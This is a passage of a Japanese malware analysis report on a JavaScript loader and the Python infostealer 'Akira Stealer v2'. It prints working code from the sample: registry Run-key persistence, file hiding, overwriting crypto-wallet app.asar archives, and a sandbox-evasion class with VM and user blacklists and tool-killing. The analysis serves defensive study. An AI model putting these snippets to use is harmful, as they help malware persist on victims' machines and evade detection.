",[1707,4358,4359],{"class":2796},"5000",[1707,4361,3080],{"class":3023},[526,4363,4364],{},"これにより、最初の実行が（システム負荷や競合状態などで）失敗した場合でも、マルウェアは短い遅延の後にバイナリの起動を再試行します。",[526,4366,4367],{},[567,4368,4369],{},"バインダーの用途",[526,4371,4372],{},"この検体ではプレースホルダーのURLのため、バインダーのバイナリが何を目的としているかは明らかになりませんでしたが、こうしたコンポーネントは一般に次の用途で使われます。",[631,4374,4375,4378,4381,4384],{},[634,4376,4377],{},"主要なマルウェアコンポーネントの再インストールまたは再起動",[634,4379,4380],{},"偽のインストーラーやおとりアプリケーションの表示",[634,4382,4383],{},"追加のスパイウェア、バックドア、ランサムウェアの配備",[634,4385,4386],{},"システム設定の変更やセキュリティ機能の無効化",[741,4388,4390],{"id":4389},"_63-まとめ","6.3 まとめ",[526,4392,747],{},[526,4394,4395,4397],{},[578,4396,2830],{}," は強く難読化・暗号化されたJavaScriptローダーであり、業界標準の暗号技術（PBKDF2 + AES-256-CBC）を使って本来の目的を隠しています。復号されると、次のことを行う十分な機能を備えた第2段階ローダーとして動作します。",[631,4399,4400,4406,4409,4415],{},[634,4401,4402,4403,4405],{},"さらなるマルウェア（",[578,4404,2891],{},"）を取得する",[634,4407,4408],{},"ペイロードの振る舞いを動的に書き換える",[634,4410,4411,4412,4414],{},"実際のスティーラースクリプト（",[578,4413,613],{},"）を起動する",[634,4416,4417,4419],{},[578,4418,602],{}," を復元して永続化を強化する",[526,4421,4422,4423,4426],{},"暗号化、動的実行、モジュール式のペイロード取得、ファイルレス動作の組み合わせは、Electronシェル内でNode.jsの機能を活用する ",[567,4424,4425],{},"きわめて高度なJavaScriptベースのマルウェアアーキテクチャ"," を示しています。",[557,4428,4430,4431,4433],{"id":4429},"_7-ディープダイブ-akira-stealer-v2-astorpy","7. ディープダイブ: Akira Stealer v2 (",[578,4432,613],{},")",[526,4435,562],{},[741,4437,4439],{"id":4438},"_71-全体像としての機能","7.1. 全体像としての機能",[526,4441,747],{},[526,4443,4444,4445,4447],{},"Akira Stealer v2（",[578,4446,613],{},"）は、Pythonで書かれた多機能かつモジュール式の情報窃取マルウェアです。ChromiumベースとFirefoxベースの双方のブラウザー、暗号通貨ウォレット、コミュニケーションクライアント（Discord、Telegramなど）、そしてシステムファイルから、幅広い機微なユーザーデータを窃取するよう設計されています。高度なアンチ解析メカニズム、レジストリによる永続化、クリップボードの乗っ取り、メモリインジェクションの手法を備えています。",[741,4449,4451],{"id":4450},"_72-永続化と配備","7.2 永続化と配備",[526,4453,747],{},[889,4455,4457],{"id":4456},"_721-実行チェーンにおける位置づけ","7.2.1 実行チェーンにおける位置づけ",[526,4459,895],{},[526,4461,4462,4464],{},[578,4463,613],{}," は単独で実行されるのではなく、多段階の攻撃チェーンにおける最終ペイロードです。",[616,4466,4470],{"className":4467,"code":4468,"language":4469,"meta":530,"style":530},"language-plaintext shiki shiki-themes github-light github-dark","Updater.exe\n  └── main.exe (Electron app)\n        └── cmd.exe\n              └── python.exe astor.py\n","plaintext",[578,4471,4472,4477,4482,4487],{"__ignoreMap":530},[1707,4473,4474],{"class":1709,"line":1710},[1707,4475,4476],{},"Updater.exe\n",[1707,4478,4479],{"class":1709,"line":531},[1707,4480,4481],{},"  └── main.exe (Electron app)\n",[1707,4483,4484],{"class":1709,"line":2090},[1707,4485,4486],{},"        └── cmd.exe\n",[1707,4488,4489],{"class":1709,"line":2096},[1707,4490,4491],{},"              └── python.exe astor.py\n",[526,4493,4494,4495,4497],{},"この構造化された実行チェーンにより、各段階が悪意ある機能を次の段階に委譲しながら検出を回避できます。",[578,4496,602],{}," がこの一連の流れを開始し、永続化の維持を担います。",[889,4499,4501],{"id":4500},"_722-レジストリによる永続化","7.2.2 レジストリによる永続化",[526,4503,895],{},[526,4505,4506,4507,4509],{},"Akiraは、現在のユーザーのRunパスの下にレジストリキーを書き込むことで永続化を確立します。これにより、システム起動のたびに ",[578,4508,602],{}," が実行されます。",[616,4511,4515],{"className":4512,"code":4513,"language":4514,"meta":530,"style":530},"language-python shiki shiki-themes github-light github-dark","command = f'reg add HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run /v \"Realtek Audio\" /t REG_SZ /d \"{path}\\\\Updater.exe\" /f'\nos.system(command)\n","python",[578,4516,4517,4522],{"__ignoreMap":530},[1707,4518,4519],{"class":1709,"line":1710},[1707,4520,4521],{},"command = f'reg add HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run /v \"Realtek Audio\" /t REG_SZ /d \"{path}\\\\Updater.exe\" /f'\n",[1707,4523,4524],{"class":1709,"line":531},[1707,4525,4526],{},"os.system(command)\n",[631,4528,4529,4536,4543],{},[634,4530,4531,1002,4534],{},[567,4532,4533],{},"パス",[578,4535,1679],{},[634,4537,4538,1002,4540,4542],{},[567,4539,1684],{},[578,4541,1687],{},"（無害に見えるよう選ばれています）",[634,4544,4545,4547,4548],{},[567,4546,1692],{},": 通常は ",[578,4549,4550],{},"AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\\\Updater.exe",[526,4552,4553,4554,4557],{},"このコマンドは、PowerShellまたはネイティブの ",[578,4555,4556],{},"os.system()"," 実行を介して、自動実行エントリを静かに書き込みます。",[889,4559,4561],{"id":4560},"_723-ファイルの隠蔽","7.2.3 ファイルの隠蔽",[526,4563,895],{},[526,4565,4566],{},"ユーザーや単純なAVスキャンからバイナリをさらに見えにくくするため、ファイルには隠しファイルとシステムファイルの属性が付けられます。",[616,4568,4570],{"className":4512,"code":4569,"language":4514,"meta":530,"style":530},"subprocess.run([\"attrib\", \"+h\", \"+s\", destination_path])\n",[578,4571,4572],{"__ignoreMap":530},[1707,4573,4574],{"class":1709,"line":1710},[1707,4575,4569],{},[631,4577,4578,4584],{},[634,4579,4580,4583],{},[578,4581,4582],{},"+h",": ファイルを隠しファイルとしてマークする",[634,4585,4586,4589],{},[578,4587,4588],{},"+s",": ファイルを保護されたシステムファイルとしてマークする",[526,4591,4592],{},"これにより、標準のWindowsエクスプローラーの表示からファイルが事実上消え、ステルス性が高まります。",[889,4594,4596],{"id":4595},"_724-再感染の手法","7.2.4 再感染の手法",[526,4598,895],{},[526,4600,4601,4602,647,4605,4608,4609,4611],{},"このマルウェアは、Electronアプリケーションの乗っ取りによる自己複製と再感染に対応しています。具体的には、Electronベースのデスクトップウォレット（",[567,4603,4604],{},"Exodus",[567,4606,4607],{},"Atomic Wallet"," など）の ",[578,4610,1076],{}," アーカイブを置き換え、正規のアプリ起動時に悪意あるJavaScriptを実行させます。",[526,4613,4614],{},"このロジックは、既知のウォレットアプリのパスを探します。",[616,4616,4618],{"className":4512,"code":4617,"language":4514,"meta":530,"style":530},"path = os.getenv(\"APPDATA\") + \"\\\\Exodus\\\\resources\\\\app.asar\"\n",[578,4619,4620],{"__ignoreMap":530},[1707,4621,4622],{"class":1709,"line":1710},[1707,4623,4617],{},[526,4625,4626,4627,4629],{},"対象のファイルが存在する場合、武器化されたアーカイブで上書きされます。これにより、",[578,4628,602],{}," を手作業で駆除した後でも永続化が保たれます。",[741,4631,4633,4634,2039],{"id":4632},"_73-アンチ解析回避クラス-vmprotect","7.3 アンチ解析／回避（クラス: ",[578,4635,4636],{},"VmProtect",[526,4638,747],{},[889,4640,4642],{"id":4641},"_731-はじめに","7.3.1 はじめに",[526,4644,895],{},[526,4646,4647,4648,4651,4652,4654],{},"現代のマルウェアキャンペーンにおいて、仮想環境やサンドボックス環境での解析を回避することはステルス性の維持に不可欠です。",[4649,4650,677],"em",{}," は包括的なVM／サンドボックス検出モジュール（",[578,4653,4636],{},"）を実装しており、解析者が管理する環境を積極的に識別して実行を中断します。本レポートでは、各検出手法を分解し、ブラックリストの定義全体を含む正確なコード断片を示したうえで、用いた解析手法を概説します。",[889,4656,4658],{"id":4657},"_732-概要","7.3.2 概要",[526,4660,895],{},[526,4662,4663,4665],{},[578,4664,4636],{}," クラスは、解析環境で実行を早期に中断するための堅牢なVM・サンドボックス検出を実装しています。検出には2つのレベルがあります。",[631,4667,4668,4674],{},[634,4669,4670,4673],{},[567,4671,4672],{},"レベル1",": 軽量で高速なチェック",[634,4675,4676,4679],{},[567,4677,4678],{},"レベル2",": 詳細で網羅的な調査",[526,4681,4682,1294,4685,4688,4689,4692],{},[578,4683,4684],{},"VmProtect.isVM(level)",[578,4686,4687],{},"True"," を返すと、マルウェアは ",[578,4690,4691],{},"sys.exit()"," を呼び出し、それ以上の解析を阻みます。",[889,4694,4696],{"id":4695},"_733-検出レベル","7.3.3 検出レベル",[526,4698,895],{},[1420,4700,4701,4702],{},"\n  ",[1436,4703,4704,4701,4714,4701,4724,4701,4733,4701,4742,4701,4752,4701,4761,4701,4770],{},[1426,4705,4706,4707,4706,4710,4706,4712,4701],{},"\n    ",[1429,4708,4709],{},"機能",[1429,4711,4672],{},[1429,4713,4678],{},[1426,4715,4706,4716,4706,4719,4706,4722,4701],{},[1441,4717,4718],{},"HTTPSimulation",[1441,4720,4721],{},"✔️",[1441,4723,4721],{},[1426,4725,4706,4726,4706,4729,4706,4731,4701],{},[1441,4727,4728],{},"コンピューター名のブラックリスト",[1441,4730,4721],{},[1441,4732,4721],{},[1426,4734,4706,4735,4706,4738,4706,4740,4701],{},[1441,4736,4737],{},"ユーザーアカウントのブラックリスト",[1441,4739,4721],{},[1441,4741,4721],{},[1426,4743,4706,4744,4706,4747,4706,4750,4701],{},[1441,4745,4746],{},"ハードウェアUUIDのブラックリスト",[1441,4748,4749],{},"❌",[1441,4751,4721],{},[1426,4753,4706,4754,4706,4757,4706,4759,4701],{},[1441,4755,4756],{},"パブリックホスティングのAPIチェック",[1441,4758,4749],{},[1441,4760,4721],{},[1426,4762,4706,4763,4706,4766,4706,4768,4701],{},[1441,4764,4765],{},"レジストリとGPUの手がかり",[1441,4767,4749],{},[1441,4769,4721],{},[1426,4771,4706,4772,4706,4775,4706,4777,4701],{},[1441,4773,4774],{},"バックグラウンドでのタスク終了",[1441,4776,4721],{},[1441,4778,4721],{},[854,4780],{"className":4781},[857,858],[889,4783,4785,4786,4788],{"id":4784},"_734-vmprotect-のアーキテクチャ","7.3.4 ",[578,4787,4636],{}," のアーキテクチャ",[526,4790,895],{},[526,4792,4793,4795],{},[578,4794,4636],{}," クラスは、次の主要メソッドを公開しています。",[631,4797,4798,4805,4812,4819,4826,4833,4840,4847],{},[634,4799,4800],{},[567,4801,4802],{},[578,4803,4804],{},"checkUUID()",[634,4806,4807],{},[567,4808,4809],{},[578,4810,4811],{},"checkComputerName()",[634,4813,4814],{},[567,4815,4816],{},[578,4817,4818],{},"checkUsers()",[634,4820,4821],{},[567,4822,4823],{},[578,4824,4825],{},"checkHosting()",[634,4827,4828],{},[567,4829,4830],{},[578,4831,4832],{},"checkHTTPSimulation()",[634,4834,4835],{},[567,4836,4837],{},[578,4838,4839],{},"checkRegistry()",[634,4841,4842],{},[567,4843,4844],{},[578,4845,4846],{},"killTasks()",[634,4848,4849],{},[567,4850,4851],{},[578,4852,4853],{},"isVM(level)",[526,4855,4856,4857,4860],{},"各メソッドはブール値を返すか、回避のための処理を実行します。",[578,4858,4859],{},"isVM"," ラッパーは、指定されたレベルに応じてこれらのチェックを束ねます。",[1420,4862,4701,4863],{},[1436,4864,4865,4701,4876,4701,4890,4701,4904,4701,4917,4701,4930,4701,4943,4701,4956,4701,4971],{},[1426,4866,4706,4867,4706,4870,4706,4873,4701],{},[1429,4868,4869],{},"メソッド",[1429,4871,4872],{},"呼び出し元",[1429,4874,4875],{},"説明",[1426,4877,4706,4878,4706,4882,4706,4887,4701],{},[1441,4879,4880],{},[578,4881,4804],{},[1441,4883,4884],{},[578,4885,4886],{},"isVM(2)",[1441,4888,4889],{},"WMIのUUIDブラックリスト",[1426,4891,4706,4892,4706,4896,4706,4901,4701],{},[1441,4893,4894],{},[578,4895,4811],{},[1441,4897,4898],{},[578,4899,4900],{},"isVM(1,2)",[1441,4902,4903],{},"環境のホスト名の一致",[1426,4905,4706,4906,4706,4910,4706,4914,4701],{},[1441,4907,4908],{},[578,4909,4818],{},[1441,4911,4912],{},[578,4913,4900],{},[1441,4915,4916],{},"ユーザー名のブラックリスト",[1426,4918,4706,4919,4706,4923,4706,4927,4701],{},[1441,4920,4921],{},[578,4922,4825],{},[1441,4924,4925],{},[578,4926,4886],{},[1441,4928,4929],{},"ip-api.com経由のIPホスティング事業者チェック",[1426,4931,4706,4932,4706,4936,4706,4940,4701],{},[1441,4933,4934],{},[578,4935,4832],{},[1441,4937,4938],{},[578,4939,4900],{},[1441,4941,4942],{},"HTTPS傍受の検出",[1426,4944,4706,4945,4706,4949,4706,4953,4701],{},[1441,4946,4947],{},[578,4948,4839],{},[1441,4950,4951],{},[578,4952,4886],{},[1441,4954,4955],{},"レジストリとGPUドライバーの痕跡",[1426,4957,4706,4958,4706,4962,4706,4968,4701],{},[1441,4959,4960],{},[578,4961,4846],{},[1441,4963,4964,4967],{},[578,4965,4966],{},"isVM(...)"," が起動",[1441,4969,4970],{},"既知の解析プロセスを終了させる",[1426,4972,4706,4973,4706,4977,4706,4980,4701],{},[1441,4974,4975],{},[578,4976,4853],{},[1441,4978,4979],{},"init",[1441,4981,4982,4983,4985],{},"各チェックを束ね、",[578,4984,4846],{}," スレッドを呼び出す",[854,4987],{"className":4988},[857,858],[616,4990,4992],{"className":4512,"code":4991,"language":4514,"meta":530,"style":530},"@staticmethod\ndef isVM(level: int) -> bool:\n    # Always start background task-killer\n    Thread(target=VmProtect.killTasks, daemon=True).start()\n    if level == 1:\n        # Fast path: HTTPS, hostname & user\n        return (\n            VmProtect.checkHTTPSimulation()\n            or VmProtect.checkComputerName()\n            or VmProtect.checkUsers()\n        )\n    if level == 2:\n        # Deep scan: includes UUID, hosting, registry & GPU\n        try:\n            return (\n                VmProtect.checkHTTPSimulation()\n                or VmProtect.checkUUID()\n                or VmProtect.checkComputerName()\n                or VmProtect.checkUsers()\n                or VmProtect.checkHosting()\n                or VmProtect.checkRegistry()\n            )\n        except:\n            return False\n    return False\n",[578,4993,4994,4999,5004,5009,5014,5019,5024,5029,5034,5039,5044,5050,5056,5062,5068,5074,5080,5086,5092,5098,5104,5110,5116,5122,5128],{"__ignoreMap":530},[1707,4995,4996],{"class":1709,"line":1710},[1707,4997,4998],{},"@staticmethod\n",[1707,5000,5001],{"class":1709,"line":531},[1707,5002,5003],{},"def isVM(level: int) -> bool:\n",[1707,5005,5006],{"class":1709,"line":2090},[1707,5007,5008],{},"    # Always start background task-killer\n",[1707,5010,5011],{"class":1709,"line":2096},[1707,5012,5013],{},"    Thread(target=VmProtect.killTasks, daemon=True).start()\n",[1707,5015,5016],{"class":1709,"line":2419},[1707,5017,5018],{},"    if level == 1:\n",[1707,5020,5021],{"class":1709,"line":2425},[1707,5022,5023],{},"        # Fast path: HTTPS, hostname & user\n",[1707,5025,5026],{"class":1709,"line":3077},[1707,5027,5028],{},"        return (\n",[1707,5030,5031],{"class":1709,"line":3872},[1707,5032,5033],{},"            VmProtect.checkHTTPSimulation()\n",[1707,5035,5036],{"class":1709,"line":3878},[1707,5037,5038],{},"            or VmProtect.checkComputerName()\n",[1707,5040,5041],{"class":1709,"line":4125},[1707,5042,5043],{},"            or VmProtect.checkUsers()\n",[1707,5045,5047],{"class":1709,"line":5046},11,[1707,5048,5049],{},"        )\n",[1707,5051,5053],{"class":1709,"line":5052},12,[1707,5054,5055],{},"    if level == 2:\n",[1707,5057,5059],{"class":1709,"line":5058},13,[1707,5060,5061],{},"        # Deep scan: includes UUID, hosting, registry & GPU\n",[1707,5063,5065],{"class":1709,"line":5064},14,[1707,5066,5067],{},"        try:\n",[1707,5069,5071],{"class":1709,"line":5070},15,[1707,5072,5073],{},"            return (\n",[1707,5075,5077],{"class":1709,"line":5076},16,[1707,5078,5079],{},"                VmProtect.checkHTTPSimulation()\n",[1707,5081,5083],{"class":1709,"line":5082},17,[1707,5084,5085],{},"                or VmProtect.checkUUID()\n",[1707,5087,5089],{"class":1709,"line":5088},18,[1707,5090,5091],{},"                or VmProtect.checkComputerName()\n",[1707,5093,5095],{"class":1709,"line":5094},19,[1707,5096,5097],{},"                or VmProtect.checkUsers()\n",[1707,5099,5101],{"class":1709,"line":5100},20,[1707,5102,5103],{},"                or VmProtect.checkHosting()\n",[1707,5105,5107],{"class":1709,"line":5106},21,[1707,5108,5109],{},"                or VmProtect.checkRegistry()\n",[1707,5111,5113],{"class":1709,"line":5112},22,[1707,5114,5115],{},"            )\n",[1707,5117,5119],{"class":1709,"line":5118},23,[1707,5120,5121],{},"        except:\n",[1707,5123,5125],{"class":1709,"line":5124},24,[1707,5126,5127],{},"            return False\n",[1707,5129,5131],{"class":1709,"line":5130},25,[1707,5132,5133],{},"    return False\n",[889,5135,5137],{"id":5136},"_735-uuidチェック-ハードウェアuuidによる仮想マシンの識別","7.3.5 UUIDチェック – ハードウェアUUIDによる仮想マシンの識別",[526,5139,895],{},[526,5141,5142],{},"マルウェアの回避手法としてよく使われるのが、基盤となるハードウェア環境のフィンガープリンティングです。仮想マシンを示す最も初期の識別子の1つがシステムのUUID（Universally Unique Identifier）です。VMwareやVirtualBoxといった仮想化プラットフォームは、予測可能なUUIDや使い回しのUUIDを生成することが多く、マルウェアはこれを手がかりに仮想化環境やサンドボックス環境で動作しているかどうかを推測できます。",[616,5144,5146],{"className":4512,"code":5145,"language":4514,"meta":530,"style":530},"@staticmethod\ndef checkUUID() -> bool:\n    try:\n        raw = subprocess.run(\n            \"wmic csproduct get uuid\", shell=True,\n            capture_output=True\n        ).stdout.splitlines()[2].decode().strip()\n    except:\n        raw = \"\"\n    return raw in VmProtect.BLACKLISTED_UUIDS\n",[578,5147,5148,5152,5157,5162,5167,5172,5177,5182,5187,5192],{"__ignoreMap":530},[1707,5149,5150],{"class":1709,"line":1710},[1707,5151,4998],{},[1707,5153,5154],{"class":1709,"line":531},[1707,5155,5156],{},"def checkUUID() -> bool:\n",[1707,5158,5159],{"class":1709,"line":2090},[1707,5160,5161],{},"    try:\n",[1707,5163,5164],{"class":1709,"line":2096},[1707,5165,5166],{},"        raw = subprocess.run(\n",[1707,5168,5169],{"class":1709,"line":2419},[1707,5170,5171],{},"            \"wmic csproduct get uuid\", shell=True,\n",[1707,5173,5174],{"class":1709,"line":2425},[1707,5175,5176],{},"            capture_output=True\n",[1707,5178,5179],{"class":1709,"line":3077},[1707,5180,5181],{},"        ).stdout.splitlines()[2].decode().strip()\n",[1707,5183,5184],{"class":1709,"line":3872},[1707,5185,5186],{},"    except:\n",[1707,5188,5189],{"class":1709,"line":3878},[1707,5190,5191],{},"        raw = \"\"\n",[1707,5193,5194],{"class":1709,"line":4125},[1707,5195,5196],{},"    return raw in VmProtect.BLACKLISTED_UUIDS\n",[526,5198,5199],{},"このチェックは、Windows Management Instrumentation Command-line（WMIC）ツールを使ってホストマシンのUUIDを取得します。返された値は、仮想マシンのテンプレートや既知の解析環境に結び付けられたUUIDの選別済みリストと突き合わされます。",[889,5201,5203],{"id":5202},"_736-コンピューター名チェック-ホスト名によるサンドボックスと解析環境の検出","7.3.6 コンピューター名チェック – ホスト名によるサンドボックスと解析環境の検出",[526,5205,895],{},[526,5207,5208,5211],{},[578,5209,5210],{},"%COMPUTERNAME%"," 環境変数から取得できるシステムのホスト名は、しばしばその環境の手がかりを明かします。解析者は「DESKTOP-XXXXXXX」「WIN10ANALYSIS」のような既定のホスト名や即席のホスト名、さらには社内環境に紐づく名前を使いがちです。マルウェアはこれを利用し、システムのホスト名をブラックリストと照合します。",[616,5213,5215],{"className":4512,"code":5214,"language":4514,"meta":530,"style":530},"@staticmethod\ndef checkComputerName() -> bool:\n    name = os.getenv(\"computername\", \"\").lower()\n    return name in VmProtect.BLACKLISTED_COMPUTERNAMES\n\nBLACKLISTED_COMPUTERNAMES = (\n    '00900bc83802','bee7370c-8c0c-4','desktop-nakffmt',\n    'desktop-vkeons4','ntt-eff-2w11wss',\n    # ... dozens more entries ...\n)\n",[578,5216,5217,5221,5226,5231,5236,5240,5245,5250,5255,5260],{"__ignoreMap":530},[1707,5218,5219],{"class":1709,"line":1710},[1707,5220,4998],{},[1707,5222,5223],{"class":1709,"line":531},[1707,5224,5225],{},"def checkComputerName() -> bool:\n",[1707,5227,5228],{"class":1709,"line":2090},[1707,5229,5230],{},"    name = os.getenv(\"computername\", \"\").lower()\n",[1707,5232,5233],{"class":1709,"line":2096},[1707,5234,5235],{},"    return name in VmProtect.BLACKLISTED_COMPUTERNAMES\n",[1707,5237,5238],{"class":1709,"line":2419},[1707,5239,3869],{"emptyLinePlaceholder":325},[1707,5241,5242],{"class":1709,"line":2425},[1707,5243,5244],{},"BLACKLISTED_COMPUTERNAMES = (\n",[1707,5246,5247],{"class":1709,"line":3077},[1707,5248,5249],{},"    '00900bc83802','bee7370c-8c0c-4','desktop-nakffmt',\n",[1707,5251,5252],{"class":1709,"line":3872},[1707,5253,5254],{},"    'desktop-vkeons4','ntt-eff-2w11wss',\n",[1707,5256,5257],{"class":1709,"line":3878},[1707,5258,5259],{},"    # ... dozens more entries ...\n",[1707,5261,5262],{"class":1709,"line":4125},[1707,5263,5264],{},")\n",[526,5266,5267],{},"一致が見つかった場合、マルウェアは実行を中止するか偽のペイロードを配置することを選び、完全な振る舞い解析を避けます。",[889,5269,5271],{"id":5270},"_737-ユーザーアカウントチェック-解析者アカウントや既定アカウントのプロファイリング","7.3.7 ユーザーアカウントチェック – 解析者アカウントや既定アカウントのプロファイリング",[526,5273,895],{},[526,5275,5276],{},"もう1つのヒューリスティックは、マルウェアが実行されているユーザー名を評価するものです。多くの仮想マシンテンプレートやサンドボックスは、「Abby」「Test」「wdagutilityaccount」といったありふれたユーザー名を使い回します。これらの名前はエントロピーが低く、オープンソースのサンドボックス環境にハードコードされていることも少なくありません。",[616,5278,5280],{"className":4512,"code":5279,"language":4514,"meta":530,"style":530},"@staticmethod\ndef checkUsers() -> bool:\n    user = os.getlogin().lower()\n    return user in VmProtect.BLACKLISTED_USERS\n\nBLACKLISTED_USERS = (\n    'wdagutilityaccount','abby','peter wilson','hmarc',\n    'a.monaldo','tvm',\n    # ... 30+ more entries ...\n)\n",[578,5281,5282,5286,5291,5296,5301,5305,5310,5315,5320,5325],{"__ignoreMap":530},[1707,5283,5284],{"class":1709,"line":1710},[1707,5285,4998],{},[1707,5287,5288],{"class":1709,"line":531},[1707,5289,5290],{},"def checkUsers() -> bool:\n",[1707,5292,5293],{"class":1709,"line":2090},[1707,5294,5295],{},"    user = os.getlogin().lower()\n",[1707,5297,5298],{"class":1709,"line":2096},[1707,5299,5300],{},"    return user in VmProtect.BLACKLISTED_USERS\n",[1707,5302,5303],{"class":1709,"line":2419},[1707,5304,3869],{"emptyLinePlaceholder":325},[1707,5306,5307],{"class":1709,"line":2425},[1707,5308,5309],{},"BLACKLISTED_USERS = (\n",[1707,5311,5312],{"class":1709,"line":3077},[1707,5313,5314],{},"    'wdagutilityaccount','abby','peter wilson','hmarc',\n",[1707,5316,5317],{"class":1709,"line":3872},[1707,5318,5319],{},"    'a.monaldo','tvm',\n",[1707,5321,5322],{"class":1709,"line":3878},[1707,5323,5324],{},"    # ... 30+ more entries ...\n",[1707,5326,5327],{"class":1709,"line":4125},[1707,5328,5264],{},[526,5330,5331],{},"このチェックはユーザーのコンテキストに着目することで検出精度を高めます。ユーザーのコンテキストは、再起動や仮想マシンのスナップショットをまたいでも変わらないことがあるためです。",[889,5333,5335],{"id":5334},"_738-ホスティングチェック-パブリッククラウドインフラの検出","7.3.8 ホスティングチェック – パブリッククラウドインフラの検出",[526,5337,895],{},[526,5339,5340,5341,5344],{},"マルウェアの中には、感染したシステムが既知のデータセンターやクラウド事業者の環境にあるかどうかを外部のIPインテリジェンスサービスで確認するものがあります。この事例では、",[578,5342,5343],{},"ip-api.com"," に単純なHTTPリクエストを送り、そのIPが「hosting」として分類されているかを問い合わせます。",[616,5346,5348],{"className":4512,"code":5347,"language":4514,"meta":530,"style":530},"@staticmethod\ndef checkHosting() -> bool:\n    http = PoolManager(cert_reqs=\"CERT_NONE\")\n    try:\n        return http.request(\n            'GET',\n            'http://ip-api.com/line/?fields=hosting'\n        ).data.decode().strip() == 'true'\n    except:\n        return False\n",[578,5349,5350,5354,5359,5364,5368,5373,5378,5383,5388,5392],{"__ignoreMap":530},[1707,5351,5352],{"class":1709,"line":1710},[1707,5353,4998],{},[1707,5355,5356],{"class":1709,"line":531},[1707,5357,5358],{},"def checkHosting() -> bool:\n",[1707,5360,5361],{"class":1709,"line":2090},[1707,5362,5363],{},"    http = PoolManager(cert_reqs=\"CERT_NONE\")\n",[1707,5365,5366],{"class":1709,"line":2096},[1707,5367,5161],{},[1707,5369,5370],{"class":1709,"line":2419},[1707,5371,5372],{},"        return http.request(\n",[1707,5374,5375],{"class":1709,"line":2425},[1707,5376,5377],{},"            'GET',\n",[1707,5379,5380],{"class":1709,"line":3077},[1707,5381,5382],{},"            'http://ip-api.com/line/?fields=hosting'\n",[1707,5384,5385],{"class":1709,"line":3872},[1707,5386,5387],{},"        ).data.decode().strip() == 'true'\n",[1707,5389,5390],{"class":1709,"line":3878},[1707,5391,5186],{},[1707,5393,5394],{"class":1709,"line":4125},[1707,5395,5396],{},"        return False\n",[526,5398,5399],{},"これにより、マルウェアはMicrosoft Azure、AWS、DigitalOceanなどが保有するインフラ上で動作しているかどうかを判断できます。サンドボックスを示す危険信号です。",[889,5401,5403],{"id":5402},"_739-httpsシミュレーションチェック-ssl傍受の探索","7.3.9 HTTPSシミュレーションチェック – SSL傍受の探索",[526,5405,895],{},[526,5407,5408,5409,5412],{},"SSLインスペクションが行われている環境（企業ネットワークや研究ネットワークでよく見られます）を見分けるため、マルウェアは ",[578,5410,5411],{},".in"," 配下のランダムなサブドメインに無害なHTTPSリクエストを送ります。DNSフィルタリング、傍受プロキシ、証明書ピン留めの失敗などで接続が失敗した場合、それは解析されている兆候かもしれません。",[616,5414,5416],{"className":4512,"code":5415,"language":4514,"meta":530,"style":530},"@staticmethod\ndef checkHTTPSimulation() -> bool:\n    http = PoolManager(cert_reqs=\"CERT_NONE\", timeout=1.0)\n    try:\n        http.request('GET', f'https://blank-{Utils.GetRandomString()}.in')\n    except:\n        return False\n    return True\n",[578,5417,5418,5422,5427,5432,5436,5441,5445,5449],{"__ignoreMap":530},[1707,5419,5420],{"class":1709,"line":1710},[1707,5421,4998],{},[1707,5423,5424],{"class":1709,"line":531},[1707,5425,5426],{},"def checkHTTPSimulation() -> bool:\n",[1707,5428,5429],{"class":1709,"line":2090},[1707,5430,5431],{},"    http = PoolManager(cert_reqs=\"CERT_NONE\", timeout=1.0)\n",[1707,5433,5434],{"class":1709,"line":2096},[1707,5435,5161],{},[1707,5437,5438],{"class":1709,"line":2419},[1707,5439,5440],{},"        http.request('GET', f'https://blank-{Utils.GetRandomString()}.in')\n",[1707,5442,5443],{"class":1709,"line":2425},[1707,5444,5186],{},[1707,5446,5447],{"class":1709,"line":3077},[1707,5448,5396],{},[1707,5450,5451],{"class":1709,"line":3872},[1707,5452,5453],{},"    return True\n",[526,5455,5456],{},"この控えめな手法は、警報を鳴らすことも専用のインフラを必要とすることもなく、ネットワーク経路の健全性を試します。",[889,5458,5460],{"id":5459},"_7310-レジストリとgpuドライバーのチェック-仮想gpuのシグネチャ検出","7.3.10 レジストリとGPUドライバーのチェック – 仮想GPUのシグネチャ検出",[526,5462,895],{},[526,5464,5465,5466,5469],{},"一部の仮想環境は、レジストリキーやGPUドライバーの記述子によって正体を露わにします。Akiraは2本立ての戦略を取ります。グラフィックサブシステムに紐づくレジストリエントリを照会し、それとは別に ",[578,5467,5468],{},"wmic"," の出力から不審なGPU文字列を調べます。",[616,5471,5473],{"className":4512,"code":5472,"language":4514,"meta":530,"style":530},"@staticmethod\ndef checkRegistry() -> bool:\n    r1 = subprocess.run(\n        \"REG QUERY HKLM\\\\...\\\\0000\\\\DriverDesc 2\",\n        capture_output=True, shell=True)\n    r2 = subprocess.run(\n        \"REG QUERY HKLM\\\\...\\\\0000\\\\ProviderName 2\",\n        capture_output=True, shell=True)\n\n    # GPU name check\n    gpu_out = subprocess.run(\n        \"wmic path win32_VideoController get name\",\n        capture_output=True, shell=True).stdout.decode().splitlines()\n    gpucheck = any(x in gpu_out[2].lower()\n                   for x in (\"virtualbox\", \"vmware\"))\n    return (r1.returncode != 1 and r2.returncode != 1) or gpucheck\n",[578,5474,5475,5479,5484,5489,5494,5499,5504,5509,5513,5517,5522,5527,5532,5537,5542,5547],{"__ignoreMap":530},[1707,5476,5477],{"class":1709,"line":1710},[1707,5478,4998],{},[1707,5480,5481],{"class":1709,"line":531},[1707,5482,5483],{},"def checkRegistry() -> bool:\n",[1707,5485,5486],{"class":1709,"line":2090},[1707,5487,5488],{},"    r1 = subprocess.run(\n",[1707,5490,5491],{"class":1709,"line":2096},[1707,5492,5493],{},"        \"REG QUERY HKLM\\\\...\\\\0000\\\\DriverDesc 2\",\n",[1707,5495,5496],{"class":1709,"line":2419},[1707,5497,5498],{},"        capture_output=True, shell=True)\n",[1707,5500,5501],{"class":1709,"line":2425},[1707,5502,5503],{},"    r2 = subprocess.run(\n",[1707,5505,5506],{"class":1709,"line":3077},[1707,5507,5508],{},"        \"REG QUERY HKLM\\\\...\\\\0000\\\\ProviderName 2\",\n",[1707,5510,5511],{"class":1709,"line":3872},[1707,5512,5498],{},[1707,5514,5515],{"class":1709,"line":3878},[1707,5516,3869],{"emptyLinePlaceholder":325},[1707,5518,5519],{"class":1709,"line":4125},[1707,5520,5521],{},"    # GPU name check\n",[1707,5523,5524],{"class":1709,"line":5046},[1707,5525,5526],{},"    gpu_out = 